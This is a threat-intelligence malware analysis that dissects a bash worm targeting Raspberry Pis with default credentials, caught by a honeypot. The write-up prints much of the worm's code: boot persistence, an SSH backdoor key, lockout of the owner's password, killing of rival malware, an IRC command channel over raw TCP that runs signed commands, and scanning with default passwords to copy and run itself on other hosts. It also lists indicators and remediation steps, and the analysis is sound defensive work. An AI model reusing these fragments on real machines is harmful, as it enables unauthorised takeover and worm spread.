TI-2026-097B — The Signed Worm: Anatomy of the #biret Raspberry Pi Bot

Classification: HIGH · Forensic threat intelligence · Dropped-sample corpus · Series: Reading the Drop

The previous letter ranked the honeypot's drop corpus honestly and found the most dangerous thing in it hiding at number five — a severity-100 sample four attackers deep, outranked by a newline and an empty file. This letter opens that file. It is 4,745 bytes of bash, and it is a complete living thing: it lands, it roots, it locks the door behind it, it kills its rivals, it phones home over IRC, and it goes hunting for the next machine — all in one script. And it does one thing almost no bash worm bothers to do: it refuses to obey a command unless the command is cryptographically signed. This is the anatomy of the specimen the count-table buried.

1. The Specimen

6d1fe6ab3cd04ca5d1ab790339ee2b6577553bc042af3b7587ece0c195267c9b — 4,745 bytes, file_type: script:shell (/bin/bash), 114 strings, entropy 5.83, unpacked and fully readable. The classifier scored it severity 100 and tagged it across the entire kill chain: Initial Access, Persistence, Defense Evasion, Command and Control, Impact, Resource Development — ATT&CK T1078.001, T1098.004, T1037, T1222, T1489, T1562.001, T1071, T1584.002. That spread is unusual for a single artefact; most samples touch one or two tactics. This one touches six because it is not a component. It is the whole organism.

It is also immediately recognisable to anyone who has watched Linux SSH worms. The default-credential target pi@, the passwords raspberry and raspberryraspberry993311, the IRC channel #biret, the payload domain bins.deutschland-zahlung.eu — these mark it as the long-lived Raspberry Pi IRC worm (the Linux.MulDrop lineage) first widely documented around 2017. It is still arriving on the honeypot in 2026, nine years on, which is a finding in itself and one we return to.

We can walk it phase by phase, because every phase is in the retained bytes.

2. Landing and Locking the Door

The first thing the script does is make sure it survives a reboot and owns the box.

If it is not already root, it copies itself to /opt/<random> (an mktemp -u 'XXXXXXXX' name), writes a fresh /etc/rc.local that launches that copy at boot, and reboots the machine to come back as a persistent service:

sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
sudo reboot

Then it locks the door behind it. It appends its own SSH public key to /root/.ssh/authorized_keys — a passwordless permanent backdoor, distinct from the mdrfckr key of the previous letter:

echo "ssh-rsa AAAAB3NzaC1yc2E…Cl0kIN33IJ…" >> /root/.ssh/authorized_keys

It resets the pi account password to a fixed hash it controls (usermod -p '$6$vGkGPKUr$…' pi), so the legitimate owner is locked out even if they knew their old password. It deletes /root/.bashrc and /home/pi/.bashrc (removing login hooks that might reveal or interfere with it), forces nameserver 8.8.8.8 into /etc/resolv.conf so its own DNS always resolves, and — the tell of a crowded ecosystem — pins a competitor's payload host to nowhere:

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts

That last line is territorial warfare: any rival malware on the same box that tries to pull its payload from bins.deutschland-zahlung.eu now resolves it to localhost and fails. The worm does not just persist; it evicts.

3. Clearing the Field

Before it puts the machine to work, it kills everything that might already be using it. The competitor-eviction block is a roll call of the Linux-IoT malware scene:

killall bins.sh minerd node nodejs kaiten perl zmap
killall ktx-armv4l ktx-i586 ktx-m68k ktx-mips ktx-mipsel ktx-powerpc ktx-sh4 ktx-sparc arm5
rm -rf /tmp/ktx* /tmp/cpuminer-multi /var/tmp/kaiten

minerd and cpuminer-multi are rival cryptominers; kaiten and the ktx-* set are competing IRC bots across every embedded architecture; zmap is killed because a rival might be mid-scan. The host is a resource, and the worm claims it exclusively. This is the T1489/T1562.001 behaviour — stop services, disable competition — that shows up in the classification, made concrete.

4. The Signed Command Channel

Here is where this worm stops being ordinary. Its command-and-control is IRC — cheap, old, and normal for this family — but the way it trusts commands is not.

It opens a raw TCP socket to a randomly chosen undernet server (/dev/tcp/$svr/6667) from a hardcoded list — ix1.undernet.org, ix2.undernet.org, Ashburn.Va.Us.UnderNet.org, Bucharest.RO.EU.Undernet.Org, Budapest.HU.EU.UnderNet.org, Chicago.IL.US.Undernet.org — registers a per-host nick (NICK=a${SYS:24}, an a plus the last eight hex of md5(uname -a)), sends USER user 8 * :IRC hi, joins #biret, and runs a PING/PONG keepalive so the channel does not drop it.

Then, on every PRIVMSG, instead of blindly executing the message, it does this:

hash=`echo $privmsg_data | base64 -d -i | md5sum | awk '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
…
if [[ "$sign" == "$hash" ]] ; then
    CMD=`echo $privmsg_data | base64 -d -i`
    RES=`bash -c "$CMD" | base64 -w 0`
    …PRIVMSG $privmsg_nick :$RES…
fi

Read that carefully. Every command arrives with an attached RSA signature. The bot computes the MD5 of the command, decrypts the signature with an embedded RSA public key (public.pem, -----BEGIN PUBLIC KEY----- MIGfMA0…QAB), and executes the command only if the decrypted signature equals the hash. A command that is not signed by the operator's private key is silently ignored.

This is the standout finding. Almost every bash-IRC bot in the wild will run whatever text arrives in its channel — which means anyone who discovers the channel can command, hijack, or sinkhole the botnet. This one cannot be. Knowing that the C2 is #biret on undernet buys a defender nothing in the way of takeover, because issuing a command requires the operator's private key. The worm's author engineered their botnet against other attackers and against researchers — a level of operational discipline that its crude bash implementation otherwise disguises. The results of executed commands are base64-encoded and sent back to the operator's nick, giving them a full remote shell over a signed channel.

5. Going Hunting

Having rooted, locked, cleared, and connected, the worm reproduces. It installs its propagation tools and scans:

apt-get install zmap sshpass -y --force-yes
zmap -p 22 -o $FILE -n 100000
for IP in `cat $FILE`
  sshpass -praspberry scp … $MYSELF pi@$IP:/tmp/$NAME && … ssh pi@$IP "cd /tmp && chmod +x $NAME && bash -c ./$NAME"
  sshpass -praspberryraspberry993311 scp … pi@$IP … && … ssh …

zmap sprays the internet for open port 22, harvesting up to 100,000 hosts per pass; for each, the worm scps a copy of itself to pi@$IP:/tmp using the default Raspberry Pi password raspberry, then raspberryraspberry993311, and if either works it executes the copy remotely and records the conquered host in /opt/.r. Every infected Pi becomes a new scanner, and the cycle repeats. This is the propagation loop that has kept the lineage alive for the better part of a decade: it needs nothing but Raspberry Pis that still ship with, or were never changed from, the default pi/raspberry login.

6. Why a 2017 Worm Is Still Landing in 2026

The most quietly alarming thing about 6d1fe6ab is its age. Every hardcoded detail — the pi target, the raspberry passwords, #biret, bins.deutschland-zahlung.eu — is the same signature documented around 2017. Nine years later it is still hitting the honeypot, unchanged in its essentials.

A worm survives only as long as its food supply does. That this one is still propagating in 2026 means the population of internet-exposed Raspberry Pis with default SSH credentials has never been exhausted — nine years of new devices, class projects, kiosk deployments, and hobbyist boards coming online with pi/raspberry intact and port 22 open. The worm did not need to evolve because its niche never closed. It is less a piece of malware than a stable parasite of a stable host population, and its persistence is a standing measurement of how many unchanged default credentials remain reachable.

7. The Counter-Narrative

Steelman. "This is a well-known, ancient, low-sophistication bash worm. You have written a long teardown of a specimen that every IoT-security team has seen a hundred times. Where is the new intelligence?"

Two things make the teardown worth its length:

• The signed C2 is the non-obvious part. The pi/raspberry worm is famous; the fact that this build authenticates its commands with RSA is the detail that matters and the one a "seen it a hundred times" dismissal skips. It changes the defensive calculus — you cannot sinkhole or hijack it by joining #biret — and it shows an operator who thinks about defending their botnet from peers and researchers. That is a capability observation, not a museum piece.
• Its survival is a live measurement. A 2017 worm still landing in 2026 is not stale; it is a gauge. Its continued arrival quantifies, in the most direct way available, that the default-credential Raspberry Pi population remains large and reachable. The specimen is old; what it tells you about the internet's exposure surface is current.

What is not claimed: that this worm is novel malware (it is a documented, long-lived family); that its author is identified (the operator is anonymous behind a signed IRC channel); that the honeypot was harmed (Cowrie emulates the shell — the worm's reboot, propagation, and mining never actually executed; the script was captured, not run). The claims are the two above: signed C2 is the notable capability, and continued 2026 arrival is a live exposure signal.

Confidence: HIGH that the sample is a complete Raspberry Pi IRC worm with RSA-authenticated C2, competitor eviction, and zmap/sshpass propagation (all present in the retained bytes); MEDIUM on the lineage-dating to ~2017 and the inference that its survival measures an unexhausted default-credential population.

8. Defence Response

• Change the default Raspberry Pi credentials — still. Nine years on, the single control that starves this worm is unchanged: no host reachable on port 22 with pi/raspberry (or raspberryraspberry993311). Disable password SSH, or at minimum force a credential change on first boot.
• Hunt the persistence, not just the process. Because the payload runs from /etc/rc.local and /opt/<random>, and the real lock-in is the appended authorized_keys line and the usermod password reset, killing the running bot is not remediation. Audit authorized_keys, rc.local, /etc/hosts (for the bins.deutschland-zahlung.eu blackhole), and the pi password hash.
• Do not expect to sinkhole #biret. The RSA-signed C2 means channel knowledge does not grant control. Detection and host remediation are the levers here, not C2 takeover — plan accordingly.
• Block the IOCs. Hash 6d1fe6ab…; domain bins.deutschland-zahlung.eu; IRC to undernet #biret on 6667 from server infrastructure; the appended authorized_keys key; outbound zmap/sshpass from hosts that should never run them.

9. A Note on Method

Built through honeypot_sample_analysis on the retained 4,745-byte script — every command, the embedded RSA public key, the IRC parameters, the credential list, and the ATT&CK mapping are read directly from the captured bytes and the classifier output. This is the teardown TI-2026-097A promised: the severity-100 artefact that a count-ranked view buries at number five, opened and read in full. No SQL touched the investigation, and the worm itself never executed — Cowrie captured the script; it did not run it.

10. Investigation Metadata

Cristian Lișneanu · shuffle-on.com · Threat Intelligence